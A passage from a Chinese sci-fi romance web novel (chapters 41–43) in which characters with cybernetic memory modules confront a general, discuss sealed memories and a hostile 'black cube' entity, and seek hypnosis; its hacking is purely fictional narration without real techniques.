周氏伏在姘头怀里,娇滴滴道:“那死鬼死得可真是时候,咱们才刚刚看上永宁坊那栋宅子他就死了,给咱们送银子来了。”
油头粉面的姘头吧唧亲了她一口。
“怕是你夜夜咒他的话,感动了上苍。”
两人缠在一起吧唧个没完,围观人群哗然暗笑。
边烬一言难尽地瞪了沈逆一眼,偏过头去,实在不想看着污秽场面。
周氏整个人挡在白墙上,大喊着“别看不许看”。
沈逆见边烬不喜,便停了投影。
周氏指着沈逆:“你,你居然黑入我模块?这是侵犯隐私!违条犯法!”
“最长三天拘役,罚款百两。你报官吧。”
沈逆帮她说完了,让她无话可说。
周氏真是没见过这般无视王法的狂徒!
“需要我帮你报吗?”沈逆轻舞着手中戒棍。
周氏可是见识过这棍子的厉害,而且眼前这靖安侯越看越邪门,周氏不敢说话了,连连后退,只想着离她越远越好。
沈逆的注意力却已经全然没放在她的身上,目光斜挑上房顶。
“不过也不用费劲报官了。正好金吾将军李司在此,不若就让李司将军来为你主持公道吧?”
全程都趴在房顶围观的李司突然被点名,心头紧了紧。
她也是机械师,虽说天赋等级不高吧,可方才看见沈逆能够在不接入任何接口的情况下,单凭那只市售的电子手表就能够黑进周氏的记忆模块中,很不简单。
难怪都说她是百年难得一遇的奇才。
先前李司还不信,觉得此人不过是仗着军功在身,四处为自己造势罢了。
今日亲眼所见,的确有些本事。
更让李司为难的是,沈逆已经发现了她,若是现身,自己偷偷摸摸躲在屋顶上偷听的行径实在可疑又可笑。
这么多的长安城百姓和兰台的属官都看着呢,往后让她这长安守卫、金吾将军的面子往哪搁?
可若是不现身……
沈逆果然开始催促了。
“怎么了李司将军,周氏可等着你为她伸张正义呢。若你不出来的话,我可要接着再放一段投影了。”
李司:……
大庭广众之下威胁我?
沈逆正要再放,周氏还未开口,李司从屋顶上站了起来。
“咳,且慢。”
周氏见李司主动现身,略略松了口气。
李司利落地下了屋顶,周遭望着她的眼神充满了疑惑。
“为什么堂堂金吾将军会趴在屋顶偷听?”
“还被靖安侯两句话给威胁下来了?”
李司恼羞成怒,开始赶人。
“本将军办案,闲杂人等速速回避。”
兰台大门一关,所有看热闹的百姓全被拦在门外。
兰台属官们也都听过这位将军威名,得罪她的话往后在长安城内不好行走。被她怒目而视,只能怀着满肚子的好奇悻悻离开。
周氏也浑水摸鱼趁机离开。
倒是没人阻拦她。
在场人都心知肚明,周氏不过是个投在明面上的棋子。
原本边烬和沈逆都以为是李渃元让她来试探,直到发现藏在暗处的李司。
李司是金吾将军,锐锋营再怎么说也是她旗下士兵,当初押解刘吉一家出城亦是她下的令。
整个营全死了,她不可能不闻不问。
她让周氏来激怒边烬,正是想看看边烬会用什么手段应对。
不至于真的将妇人诛杀于市,但在出手时定会有自身的路数。
通过尸检,李司对杀害锐锋营的神秘人手法已有所了解,只要边烬出手,她一定能察觉到端倪。
没想到边烬居然任由那人拉扯,半点不回手。
她绝非性子温吞之人。
曾经的北境总都督,军律严苛,执法如山,怎么可能温吞。
李司怀疑边烬早就猜到周氏是被人指使来试探。
没想到沈逆这人更邪乎,直接把她点出来。
沈逆对李司随意行了个手礼。
“又见面了,将军。”
李司冷笑道:“我可不想与你再见面,是你逼我现身。”
沈逆道:“怎么能算相逼呢?张张嘴皮罢了也算逼迫?”
李司:“方才我若不出来相见呢?”
沈逆直言不讳:“那大家便会看到周氏另一个记忆片段。不见到将军本人,也会看到周氏的记忆投影中用银钱贿赂她的将军,对我而言没有什么区别。”
李司眉眼一利,“你……”
“将军以钱银贿赂周氏,让她来找我师姐晦气的片段便会在众目睽睽之下投到兰台大门口。到时候将军不知是抓我回去问罪,还是自行去衙门投案。”沈逆眼眸里笑意盈盈,“知法犯法,恐怕罪加一等吧?”
果然。
李司紧咬腮帮。
沈逆果然和她所想一样狡诈。
可说起知法犯法,你沈逆也不遑多让好吧?
不想继续再和沈逆纠缠,李司转向边烬。
她这一番折腾也只为解开心中所惑。
“边令史,想必你也听闻了锐锋营二百多人殉国于野的事。不知作为整个帝国唯一一个双S级战斗天赋者,你如何看待此事?”
沈逆狡黠如狐,边烬则防备森严,毫无破绽。
李司不到而立之年就已经升任金吾将军这等高位,算是年少有为,但审讯的技巧在边烬眼里还是太过稚嫩。
边烬反诘,“将军这是在审问,还是在寻求我的帮助?若是审问,请出示缉拿令。若是要寻求我的帮助,得看我心情。”
李司嘴角颤了颤,继续问:“元月二十日寅时,边令史在何处?做些什么?可有人证?若是不能自证,本将军现在就回一趟金吾衙门,画一张缉拿令而已,费不了多少工夫。回了金吾衙门,可就不是现在这番好言好语了。”
元月二十日寅时,锐锋营被全数灭口之时。
边烬道:“那日早上有个关于北境十二州的拍卖会,我去了。”
“拍卖会?这么早?”
“李司将军身为金吾卫,应该知道午夜拍卖会吧。这种拍卖会是另一种形式的销金窟,提供大量名酒,只为客人能在拍卖会上头脑发热,一掷千金,自然得在子时起拍。这场关于北境的拍卖会就是这样的形式,我寅时过去已经晚了。”
那个拍卖会她的确是去了的,还拍了两件故人旧物。
两件无人问津的破损兵器,是她麾下某旅所有,起拍价也不过百两银子。在旁人看来只是破铜烂铁,但对边烬而言是有意义的,便全数买下了。
李司露出了然的微笑。
“我已经查看过拍卖会现场的监控,边令史的确去了。”
沈逆眼眸微闪。
所以这李司是在套边烬的话,让她尽量多说,从中寻找破绽和线索。
边烬猜到李司定是有备而来,拍卖会的事她一旦说谎,肯定会被拆穿,所以没有掺假。
“不过,拍卖会你只待了不到两刻钟就离开了。还那么高调拍了两件破烂,怎么看都是故意留下线索给后人来查的。”
“两件破烂”这四个字,让边烬眼眸中的冷意陡增。
李司被她那双眼盯着,像被凶厉的猛兽锁定,后脖子起了一层鸡皮疙瘩。
李司话语顿了顿,遇强则强的性子让她害怕的同时也有些兴奋,很快调整情绪,继续道:
“能不能告诉我,之后你去了何处?为什么这么匆忙离开?不怕后续有更多值得珍视的旧物吗?”
那日真实的后续是边烬离开了拍卖会,在街道上巧遇曾倾若,便和她一起去了帝国客栈探望第五阙和贺兰濯。
仔细回想,她是如何离开拍卖会,完全不记得了。
和档案馆里突然消失的意识一样,某一时段的记忆突然被斩断,再能自如控制意识时,已经出现在市集。
当时骄阳当空,应是接近晌午时分。
她挽着斗篷,头发凌乱,鞋底带泥。
若说她去了城外,杀了两百多号人再折返,也不是不可能。
这次,边烬停顿的时间略长。
其实只是略长了一点点,尚在正常组织言语的范畴内。
李司还未有微词,对她极其了解的沈逆察觉到了她的犹豫。
她不太好开口。
她在思索怎么说才能天衣无缝。
边烬:“那日……”
沈逆:“那日后来我来找她了。”
沈逆一开口,李司颞颥就“突突”地发痛。
又来了,这靖安侯才是最难缠的。
“哦?你来找她?”
“怎么,我来找我自家夫人有什么稀奇的吗?”
“是不稀奇,只是为什么监控没有拍到你?”
沈逆没直接回应李司的问题,带着揣摩和打量的目光在她身上游走了一圈,弄得李司很不舒服。
“有话直说吧靖安侯。”
沈逆:“李司将军也是机械天赋者吧。”
李司抬起一边眉,“是又如何?”
“身为机械师当然明白隐私的重要性。你日常行走肯定也不想留下任何标签,个人防火墙必定坚不可摧。机械师没有出现在监控镜头里,有什么好稀奇的。哪位机械师成天在城防监控里晃的话,你倒是该上去盘查一下。”
李司僵硬地冷笑一下。
“那你们之后去了何处?做了何事?”
沈逆被她问得娇羞一笑,挽住边烬的胳膊,整个人软软地往她身上靠。
李司:?
边烬已经练就嗅着气味也能知道师妹又要作什么妖。
更别说此时沈逆那具柔软的身子,已然明目张胆蹭上她的胳膊。
半点都不想在外面面前暴露对沈逆敏感之事,边烬在心中默念《般若波罗蜜多心经》。
知道边烬这会儿没心思阻拦,沈逆更是口无遮拦,没羞没臊道:
“李司将军还未成亲吧,恐怕恋爱都没谈过。伴侣之间想做什么,能做什么?”
边烬:……
脑子里忽然浮现工作室里,沈逆凑过来要吻她的画面。
李司被她戳中痛处,“你……”
“我劝将军别继续问为什么伴侣亲热之时没被监控拍到。不然真要笑掉人大牙。”
李司咬牙道:“沈逆,如果我现在黑进你的记忆模块,将你的记忆投影出来,会看到你满嘴没句实话吗?”
沈逆脑袋靠在边烬肩头,完全是她娇软可爱的小妻子。
“欢迎将军随时来黑。”
如果你能黑得进来的话。
她个人防火墙等级,别说唐Pro帝国不可能有人黑的进来,就是双极楼师尊复活再摞一百个秦无商一千个李煽,也撼动不了半分。
今日这沈逆在此,李司说不过她,一通自取其辱又被闪瞎眼,脸上一贯的笑意已然摇摇欲坠,只能带着满肚子的气离开。
临走时,李司在原地转了个圈。
“对了。”
她转身回来,问边烬:“我有一事好奇。据说你为追随你的百万士兵孤孀申请了巨额赔偿,可是,这么有情有义的边总都督,为什么回到京师这么久,从未去探望过他们呢?”
沈逆眼眸微动,暗中去瞧边烬。
边烬神色淡然,一派无动于衷。
李司笑意阴沉,“是不是问心有愧,只有你自己清楚。”
第42章
李司离开后,沈逆道:“她还会继续纠缠此事。”
边烬道:“那日也是意识切断了片刻,我如何离开拍卖会,并不记得。”
沈逆很早之前就留意到边烬的异常。
那夜宅内有外物入侵的记录,第二日晨间边烬的手便受伤了。
询问时,她的回应也是不想多谈的回避心态。
当时她俩久别重逢,关系疏冷,边烬不愿开口也能理解。
沈逆猜测是记忆模块损伤所致。
结合当下,恐怕不是损伤那么简单。
边烬这片记忆禁区,恐怕比沈逆想的还要复杂。
看自信从容的沈逆因她之事陷入苦恼的沉思,清秀的眉头压出一道少年老沉的褶皱,边烬于心不忍,主动问道:
“如今除了强行破解,还有其他的方法解开被封锁的记忆模块吗?”
“也不是……没有可能。”
沈逆这话说得犹犹豫豫,不似她寻常作风。
“师妹想到什么不妨直说。”
沈逆四下看了看,拉着边烬出了兰台,坐入她驾来的侯府马车内。
马车被她改造过,一般的黑客无法黑入,不用害怕隔墙有耳。
车门关闭,沈逆先说记忆模块的原理。
记忆模块最早是用来记录的。
人的大脑记忆力有限,而且随着年龄的增长,记性会越来越差。但拥有记忆模块后,无论多大容量的资料和影像,只要存储空间足够,就能够全部塞进去,需要的时候再调取,非常方便。
不过记忆模块也不是只有便利,完全没有风险。
首先它也算是一种义体,能够写入,也就意味着它有可能会被攻击、改写和盗取。
十多年前就有这么一桩大案,某位内廷官员把私人钱庄的账号和密码全部保存在记忆模块里,被当时一位黑客黑入,全部盗取,一夜之间上亿白银不翼而飞。
怪异的是那官员憋着,没有报官。直到后来丽景门查到这个黑客,拔出萝卜带出泥,审问了这位官员,证实巨额财富属于这位六品文臣。
以他的官职是不可能坐拥如此巨富,很快查清全都是他贪污的赃款。
此人上任不过三年,贪墨数额令人咋舌。
贞观年间第一贪腐案就这样误打误撞的被侦破了。
自那之后一段时日,不少人将记忆模块关闭,该用原生大脑记忆。
关闭的过程非常低调,生怕被说成做贼心虚,引起不必要的麻烦。
可是没多久,这群人又跑回来,冒险重新开通记忆模块。
早就习惯了记忆模块高效便捷的写入式记忆,想要再次使用原生大脑时,才发现自己已经没有办法接受这种古老痛苦的记忆法。
别说是海量工作相关的文书,以及各种精进天赋的学习资料,宗族亲属人数但凡多一点,名字和脸都未必对得上。
记忆模块如今已经代替了原生大脑,成为这个世代使用率最高,需要花费巨大资产维护的模块。
但是,这并不意味着原生的人脑就彻底无用了。
记忆模块会被黑客黑入,容易泄密,但人脑就保险很多。
起码黑客无法黑进原生的大脑里,盗取财富。
沈逆也装载了记忆模块,但因为身患超忆症,无论想不想记下的东西都会不经本人的同意直接印刻进大脑之中。所以在别人追求更大容量更快速读写的记忆模块时,她用的是自己动手造的一款。没有多大的存储空间,因为她不需要,只是建立了难以入侵的防火墙。
少年时在对自我的探索中,沈逆慢慢和超忆症和解。
既然难过的事情不可能忘记,那她也要把开心的事情全部都记下,覆盖那些痛苦。
所以,无论是对原生的大脑还是对记忆模块,沈逆因祸得福,非常了解。
“原生大脑构造精妙,和记忆模块也有千丝万缕的联系。师姐,你的记忆模块被封印了一部分,但原生大脑里的相关记忆一定还在。记忆模块可以建立禁区,以封锁某部分的记忆,可是原生大脑是没办法采用黑客技术消除记忆的。想要达到同等封锁效果,使用很可能是心理暗示或者催眠。”
边烬明白沈逆的意思。
“你是说,记忆模块被封印了一部分,但那三年的记忆一定还藏在我原生大脑深处。”
“对,藏在你潜意识里。只要强行打开潜意识的大门,就能记起来。”
“强行打开潜意识的大门,是精神天赋者的领域。”
沈逆点了点头,欲言又止。
精神天赋者想要玩玩催眠或许可行,但想打开她潜意识的禁区,估计不是那么容易。
边烬是双S级战斗天赋,注定了精神力也无比强大。
即便是双S级的精神天赋者,也未必能够突破她潜意识的防线。
更何况,精神天赋者相比于机械天赋和战斗天赋,本来就稀少,十位天赋者中才出一位精神天赋者。
很遗憾,如今的唐Pro帝国并没有双S级精神天赋者。
除此之外,另有条路。
除了精神天赋者,还有一种方式或许能唤醒边烬被迫沉睡的潜意识。
连理模块。
沈逆没有直接说出口。
她知道,即便不说,聪明如边烬也会想到的。
沈逆摸了摸快冒烟的嗓子。
当务之急,先找口水喝。
两人回到兰台,边烬将一早就准备好的水递给沈逆。
沈逆一口气喝下一大杯水。
这嗓子总算是得救了。
放下水杯时,见边烬站在她身后,欲言又止。
“师姐不必说了。”沈逆宽了眉眼,“将士孤孀那边,我会帮你处理好。”
边烬的确想说的是此事,但她并不想麻烦沈逆帮她收拾残局。
但沈逆就是为她收拾了。
还什么都不过问。
沈逆仿佛看透了她心中连她自己都迷茫的难言之隐,干脆利落地一笔带过,把边烬所有的烦恼全部打包到自己的口袋里,脚踩荆棘,指着另一条平坦大道对边烬说:
你往那儿走,别回头。
习惯了独行的边烬忽然发现,风雪之中,有人在为她撑伞。
……
李司饿得前胸贴后背,想起上次进食还是在那家汤饼店。
不对,汤饼她也没能吃上,被窦璇玑打翻了。
从那之后她就再也没有吃过东西。
再往前是什么时候进的食?
她已经不记得了。
这会儿饿的有些晕,也不管眼前这家食肆好不好吃,李司坐下便点了一桌子硬菜。
饿过劲的胃忽然承受这么多的食物也不太舒服。
李司捂着胃部缓一缓。
不知是暴饮暴食,还是给沈逆气的,胃里翻江倒海难受得很。
靖安侯这对双妻真是笊篱成了精,除了心眼还是心眼。
脑海中浮现沈逆对她毫不设防地张开双臂,说“欢迎将军随时来黑”的模样。
那张脸长得可真美,气起人来能把人气吐血。
李司骂了句:“双S天赋了不起啊?”
正如沈逆猜测的,李司确实是拥有机械天赋。
只不过她的机械天赋为C级,相当平庸。
李司父母的天赋都很普通,注定了她无法拥有高天赋。
不过这也不妨碍她亲手改造出了加特林和各种趁手的武器。
除了C级的机械天赋之外,她还在成年后自我开发出了B级的战斗天赋。
拥有两种天赋的人很少见,且等级都不会太高。
就算机械天赋等级不高,可作为机械师,她非常眼馋“黑入系统”这四个字。
李司当然也尝试过高级黑客操作,只是难度太高,从来没有成功过。
看沈逆做起来就轻轻松松啊。
连接口都不用接,防火墙完全忽略不计,说黑就黑。
自从吃了官家饭,李司很久没动过当个黑客的念头了。
遇到这只不安分的小狐狸,倒是又勾出了她的好奇。
这些年她肯定是成长了,沈逆能做到的说不定她也能做到。
胃部好受了点,李司提了提神,瞄准了身边另一桌正在吃饭的客人。
这客人穿着简朴,看着就不像是有高级防火墙的人。
李司鬼鬼祟祟,试着黑入他的系统。
“咦?”
那人本来正在埋头吃牛肉粉,忽然察觉到异样。
有股奇异的电流正在往他的模块里闯。
有人在黑他的系统!
“谁啊?!我没钱!真没钱!别黑了!”
那人捂着自己的胸口立即站起来,骂骂咧咧地往外跑。
李司这才黑了一半怎么就跑了?不许跑!
立即发送静止指令。
结果,指令发出去了,人还在跑,根本没效果。
李司一连发了十几个静止指令,指令发完,人也跑没影了。
“干……”
半点用没有,李司胃又开始痛了.
窦璇玑这一觉睡得也不安稳。
梦里满天都是脑袋在乱飞,每个脑袋都丑得让她无法直视。
偏偏这些丑脑袋还千方百计想降落到她的脖子上。
窦璇玑抽刀乱砍,砍得筋疲力尽之时,身后有人拍了拍她的肩膀。
不知怎地,梦中明明没有看到身后人的脸,窦璇玑却知道是谁。
毫不设防地转头,一把斧子狠狠砍在她的脖子上。
“别怪我……”
那人声音发颤,满脸都是窦璇玑的血。
“我只是想活下去,别怪我,别怪我!”
窦璇玑猛地一抖,醒了。
灰蒙蒙的天际还未有晨光,不远处巨大的烟囱正日夜不停地往天空中排放黑色废气。
荒废的庭院,坚硬的躺椅。
她回到了丽景门。
嗖——
嗖嗖嗖——
几发箭追着彼此一同射在高速移动的靶上。
移动靶已经射满了箭矢。
房判将靶拉近,取箭。
窦璇玑捂着发痛的腹部坐起来,缓了几息,问她:“你没休息?”
房判道:“我的准头太差,先前被那异兽躲开了,让你受了重伤。我得勤加练习,否则下次可能真的会害你性命。”
窦璇玑摸了摸脖子,旧伤的痛楚似乎从梦境中追了出来。
“我受伤也不是你害的。”
窦璇玑随意丢出一句,喝了点强效疗伤营养液,便要离开。
房判:“你还要去排查?”
“门主有撤回排查的命令?”
“那倒没有。”
窦璇玑便不再多说,快步出门。
身为搭档,房判只好跟着出去.
帝国最高研发署门前,沈逆被两名守卫拦住。
“研发重地,闲人勿进。”
守卫手中重剑交叉,挡住她的去路。
那日沈逆躲着没去早朝,必然要贯彻重伤虚弱的设定,之后好几日都待在府中,把缺的觉彻底补回来。
沈逆别的优点两说,心理素质格外好。
外面腥风血雨人心惶惶,她还能甜梦连连。
在她看来,只有休息好了精力充足,脑子才能转得过来。
原本还想再躲几日懒,李煽拿最高研发署的官方账号夺命般催她,闹出了明日京师就要覆灭的动静,沈逆只好拖着“孱弱”的身子来研发署一趟。
来时她没有穿官袍,而是搭了一身再平实不过的便服。
结果被拦在门外。
没了绯袍金鱼袋,在这京师还真是寸步难行。
沈逆:“不让进是吧,正好回去休息。”
沈逆掉头就走,在监视器里发现沈逆的李煽立即追出来,叫沈逆回来。
“靖安侯莫胡闹,国事为重。”
沈逆好生无辜。
“我哪有胡闹,是你们不让我进。”
负责面部识别录入的属官看到此状况,赶忙跑出来解释。
“原本早就该为靖安侯录入面部ID的,是下官忙昏了头,现在就录入!”
李煽严肃训斥了那属官,回头对着沈逆的时候,虽还有些别扭,但言语间客气了很多。
“近日研发署事务繁忙,能坚持在岗的已经是少之又少了,很多人请假躲在家中甚至回乡避难。有什么不周之处,还请靖安侯海涵。”
沈逆见李煽眼睛中满是血丝,那么爱美的一个人头发几日没洗,凌乱油腻,官袍也褶皱不堪。
才几日未见整个人瘦了一圈,明显操劳过度。
沈逆没多言,正色道:“进去再说吧。”.
今日沈逆去了研发署,与永王探讨黑魔方之事,应该不会那么早回府。
沈逆不在身侧,边烬正好将那件事办了。
她有个等级很普通的暗网小号,专为处理一些私人事务所备。
在暗网上寻找到一位S级精神天赋者,为她催眠。
她想和沈逆开通连理模块,模块开通之后,沈逆就能进入她的潜意识,或许能拾回她原生大脑里关于那三年的记忆。
沈逆没有直说,自然是因为她先前已经提议过一次,被边烬拒绝了,她便非常有分寸不再提,安静等待着边烬自己迈出这一步。
边烬不是不愿开连理模块。
只是万一沈逆进入她的梦境,撞见那荒诞的春色,也不知会如何看待她这为长不尊的师姐。联合拒绝了她表白一事,更显荒诞可笑了。
S级精神天赋者肯定无法开启她被封闭的记忆,消除一些不想要的梦境因素应该可以一试。
但此事说到底只是脸皮问题,与沈逆的名誉和自身清白相比,不值一提。
精神天赋者能把那场不该存在的春闺之梦抹去,自然是最好。
若抹不去,她也不愿辜负自愿把自身清誉与她捆绑的沈逆。
那位精神天赋者就在长安城,收费昂贵,抵得上兰台令史半年的俸禄。
虽沈逆说过,她俩共有账号里的资产边烬随意花,不用跟她说,但这么大笔银子,边烬还是得记在账上。
这帐是与沈逆共享的,回头沈逆自会看见。
只不过名头暂时不是催眠,而是购置武器。
约好的地点在帝国客栈的某间客房里。
这倒是挺出乎边烬意料。
还以为会是正经经营的行会商号,没想到居然是这么私人的地方。
来时边烬戴了副墨镜,又把口罩调整为完全不透明的黑色,应该瞧不出她的样貌。
敲门,屋内传来女人的声音。
“请进。”
边烬推门的动作略顿。
这是她听过的声音。
推门而入,坐在古董椅上的女人手里拿着杯桃花酒,正要欢迎她的贵客。
看到边烬的那一瞬,笑容凝滞。
“是你。”
边烬:“你认得我?”
贺兰濯还是将酒递给她。
“边女郎,六年前你我曾经在雾山联手围敌,之后一同参加了庆功筵席。而且你的画像挂满了整个睦洲,想不认识你都难。坐吧。”
边烬想起来了。
这位睦洲节度使还在那场筵席上,泼了一位无礼追求者满脸的热酒。
虽是如此,普通交情也很难透过这身全副武装,直接认出她来吧。
看来这位睦洲节度使即便走哪儿都戴着护目镜,眼睛却格外好使。
门合上,边烬摘下墨镜,坐到贺兰濯对面的胡椅上。
戴着黑色手套的手礼貌的端着酒杯,没喝。
“贺节度使,没想到你还赚这种外快。”
贺兰濯优雅地耸肩:“没办法,家里有只吞金兽得养,只能多赚外快了。边女郎会遵守咱们的保密协议吧。”
碰面之前,双方签署了保密协议,对此次催眠双方身份、地点和内容全程守密。
先前神秘的客人在暗网强调过自己的天赋较高,若是催眠效果不佳,她可能会拒绝支付尾款。
当时贺兰濯觉得挺可笑。
这世上能不被她催眠的,只有比她等级更高的双S极天赋者。
来者总不能是沈逆或边烬吧。
没想到还真是……
贺兰濯单手支着头,还未开始催眠已经有点神经痛了。
为了尾款,只能一拼。
贺兰濯说:“边女郎尽量放松,按照我说的做。”
边烬将没喝一口的酒杯放下时,发现贺兰濯也在琉璃案几上放下一物。
是和她本人如影随形的护目镜。
她将护目镜摘了。
边烬还未抬眸,如潮水般汹涌的精神力已经将她包裹。
贺兰濯食指撑着颞颥,微微偏着头,翘着腿,双眸一眨不眨地凝视边烬。
“放我进入你的意识。我会让你不想记得的事,沉入意念深潭,谁也找不到……”
第43章
最高研发署。
李煽和一众属员带着沈逆来到一号研发室。
一号研发室很大,四面冰冷单调的金属墙没有窗户,四角的监控对准室内唯一的物件——一个透明的淡蓝色立方体。
那是个虚电容壳体,里面漂浮的东西沈逆熟悉。
黑魔方黑色的大脑。
沈逆走进这压抑的空间,站到黑色大脑前。
黑色的大脑在虚电容壳体内不安地躁动,延展的触角像有机物,跃跃欲试想往外探。
每次刚探出来,就会被肉眼不可见的力量猛地刺穿,骤然回缩。回缩后焦躁的抖动更加剧烈,仿佛带着怨毒和不甘。
跟在身后的李煽没在沈逆的脸庞上找到惊讶的情绪,甚至连好奇都没有,便知探子带回来的消息无误。
她和边烬也抓走了一只异兽,恐怕早就见过黑色的大脑了。
沈逆:“放多久了?”
“三日。”
沈逆:……
“殿下就这样将它放在虚电容壳体里放了三日?”
李煽不解。
“怎么?你在北境不也是用这种方法遏制黑魔方活性的吗?”
这句话倒是透露出意外的信息。
原以为李渃元会派人盯梢北境,没想到李煽在北境也有耳目。
或者,这对姐妹信息互通,感情和传闻中一样好。
沈逆从袖袋里抽出一副蓝白色的手套,边戴边说:
“是可以遏制,但得配合水银封印,否则三日便是极限。”
李煽不解地看她戴手套的动作,问:“过了三日会怎样?”
沈逆:“不会怎样,黑魔方破开壳体,自己跑出来而已。”
说着,沈逆从虚电容手套中翻出一颗和立方体内一模一样的黑色大脑,托至众人面前。
众人皆惊,胆小的属员甚至生生往后退了一步。
沈逆安抚道:“别怕,现在倒水银进去还来得及。”
李煽脸色也不太好看,立即差人灌注水银。
水银注好,沈逆用手套随意把黑脑一裹,一并丢入立方体内。
李煽:……
来这儿投放有害垃圾来了。
不过,李煽意识到一件让她心惊的事儿。
制作虚电容壳体箱子已经非常困难,是最高研发署这两年来最重大的研发成果。一开始壳体比整个研发署还大,现下的立方体依旧沉重庞大很难运输,已经是力所能及的最简设计。
沈逆居然做出了手套这种轻薄又方便携带的阻断工具?
沈逆还如此年轻,她能力的上限在何处,李煽无法想象。
随手一投,另一只手套也被沈逆投到立方体内。
沈逆清寒如冰的侧脸,比立方体散发出的冷光还要冷上几分。
韩复将这颗黑脑带回研发署之后,署内上上下下严阵以待,丝毫不敢怠慢。
她们所惧怕的黑脑,却被沈逆随意托在手中,又肆意投掷到水银内,轻轻松松。
这是在北境练就的胆魄,也是她天生的倨傲。
这种人,难怪皇姐要拉拢她,也要制衡她。
李煽:“靖安侯,明日星河铬素就会用尽,以它做临时屏障的燃料不是长久之计。靖安侯可有其他的谋划?”
沈逆转眸,像是在和李煽说话,实则目光放在李煽的紫袍纹路上,并不瞧她的容貌。
“殿下,城防地基已经打好,待星河铬素烧完,就用虚电容壳体暂代。”
李煽嘴角抽动。
你明明一开始就可以用虚电容壳体,非要耗费我金贵的星河铬素。
李煽对沈逆颇有些怨念,可沈逆的聪颖和惊世骇俗的脸,像一支和她性子一样张狂的笔,肆意地在李煽心境中涂抹。一种说不上的情绪拂得李煽不解,错乱。
沈逆都未真的看她,更那堪察觉到她的心思。
并不主动开口,只等着李煽来决定。
事关重大,李煽带她到一间聚议厅。
厅内无人,属员们也都知趣,并未跟来。
李煽先进,沈逆进来时没将门关上,而是大喇喇地敞开。
李煽投回一眼,沈逆道:“下官只是来给殿下打下手,所言无足轻重,没什么好提防的。况且下官已经成亲,这门开着能透气,还能避免一些不必要的误会。”
“随便你。”
李煽坐到椅子上,喝了今日第一口茶。
“靖安侯,我就直说了。最高研发署能力有限,为丽景门女官佩戴了探测仪器,可是感染了黑魔方的异兽从眼前过,仪器都没能监测到。本王无用,探测仪器无法捕捉黑魔方,如今唯有靖安侯可以与黑魔方一战了。”
沈逆这张嘴有时候很损很碎,有时候半个字的废话都没有。
“下官可以帮忙研发署升级全境追踪器,追踪的范围能更大更精准。也能植入电子手表内,只要异兽靠近就能发出警报,甚至能锁定对象。”
“原来靖安侯深谋远虑,已经有了应对之策。”
李煽贵为永王,年少经历坎坷,但一直有李渃元护航,这些年一直养尊处优,一旦要夸赞谁,多少有点僵硬。
沈逆:“殿下不会恭维可以不恭维。”
李煽:……
“黑魔方隐蔽性极高,而且现在还有了智慧,不能用老一套来应付,还是得靠我们用自己的经验和感觉分辨,眼前的到底是无辜的百姓,还是被黑魔方感染的异兽。”
“如何分辨?”
“黑魔方最大的特征是不稳定,无论异兽怎么伪装成人,一定会产生局部失控。有可能是它们的眼珠,也有可能是他们的手,甚至是心跳。或者是任何在我们现有经验之外的异常。”
李煽:“听起来有点模棱两可。”
沈逆往沙发上一靠,“毕竟黑魔方都长脑子了,咱们是不是也该带脑巡逻了?”
李煽:……
李煽沉默良久,万千信息像山一般呼啸而来,重压在身,仿佛连这颗脑袋都沉若千斤。
太多不确定的事在前方等着她了。
她已经很长一段时日没有睡过一场好觉,可还是没能处理好任何一件事。
她还记得刚刚觉醒S级机械天赋时的狂喜。
终于能为皇姐排忧解难,她终于不是个废物了。
可如今,黑魔方袭京,迭代的速度比研发署要快得多,疲倦至极的她竭尽全力,依旧赶不上这瞬息万变的动荡。
当初皇姐力排众议,护她进入梦寐以求的研发署,她信誓旦旦要成为皇姐的依仗。
身居高位这些年,她给皇姐带来了什么?
她还是个一无是处的废物……
强压无处排解,手背被她自己狠狠划出一道血痕。
刺目的红落在余光内,沈逆站起身,合上门。
“殿下,圣上近日身体欠安,安王借口探望陛下已然入京。京师格局将变,或许早已经变了。殿下不会指望别人能全心全意为圣上分忧吧?”
李煽在无措中抬头。
沈逆依旧是旁观者般的冷静自持,但不知为何,周身的气场变得柔和了些。
她的话并不温情,更像一句警示,一针强心剂,刺进李煽的心口,让她在痛苦中重新活了过来。
是啊,她还有很多事要做,还要保护皇姐。
不是心灰意冷的时候。
李煽用力抹了一下眼睛,沈逆什么也未说,再次打开门,就要告辞。
泪眼朦胧中,李煽更加看不清眼前年轻的女人。
沈逆到底是挟势弄权的灾星,还是帝国的救世主.
半个时辰转瞬即逝。
贺兰濯艰难地从边烬的意识中抽离。
刚刚回到现实,便陷入了短暂的失明。
边烬也不太舒服,脑中有种无法化解的异物感。
很像她装入第一个机械关节时,温热的血肉对陌生的冰冷义体本能的排斥。
有人进入她的意识领域“埋尸”,即便手法老道,还是留下了踏足过的痕迹。
贺兰濯喝了一罐营养液,勉强稳住了心绪。
“谢谢你的合作,按照我的提示放松身心,否则我可能无法活着离开你的潜意识世界。”
双S级,还是战斗天赋,的确很难应付。
要不是边烬配合,贺兰濯即便成功催眠,恐怕也无法全身而退。
边烬脑袋中一直蔓延着钝痛,她没有在别人面前暴露痛楚的习惯,会让她很没有安全感。
所以即便处于很不舒服的状态,边烬依旧安静直背而坐,问贺兰濯:
“你在我的潜意识世界里遇到了什么?”
重新戴上护目镜,视力在慢慢恢复,贺兰濯的精神世界还残留着边烬的意识和情绪。
帮人催眠,反而被对方的潜意识感染,这种事还真是头一回见到。
贺兰濯:“催眠不会看到目标之外的具体场面,只有抽象的险象环生和精神污染。能找到你想要催眠的那部分不容易。”
说起边烬想催眠的那件事,两人同时陷入沉默。
边烬脸颊浮出一层微不可见的红晕,幸好她的口罩一直没摘,遮挡住了。
贺兰濯也有点喉咙干涩,不太自然地调整了一下坐姿。
催眠结束,边烬就要离开。
贺兰濯道:“我会将尾款账单发送给你。”
边烬淡淡颔首。
贺兰濯:“如果后续我的精神状态不太稳定,可能会追加医药费。还请边女郎理解。”
“……你不是S级精神天赋者吗?”
“谁让我碰上双S级的顾客呢。”
“……”
一个要养吞金兽,一个要跟夫人报账。
都不容易。
在互相体谅的沉默中,边烬离开了。
被S级精神天赋者催眠,并不是一件很舒适的事。
相反,醒来后的感觉很糟,很疲倦,像在梦中经历了一场精疲力竭的战斗。
回到侯府,如边烬所想,沈逆依旧未归。
万姑姑经过三轮严谨的筛选,先选出了第一拨共十位手脚麻利的家仆,看到边烬回来了,便领着家仆来给主母瞧瞧。
曾经执掌双极楼,又治过百万大军,区区十位家仆扫过一眼再问几个问题,便知都是堪用诚厚之人,万姑姑的眼光精准。
边烬对万姑姑道:“等侯君回府,你再带他们去见见侯君。”
“喏。”万姑姑瞧向边烬的面容,“夫人这是累着了吧,瞧我还给你添这麻烦。”
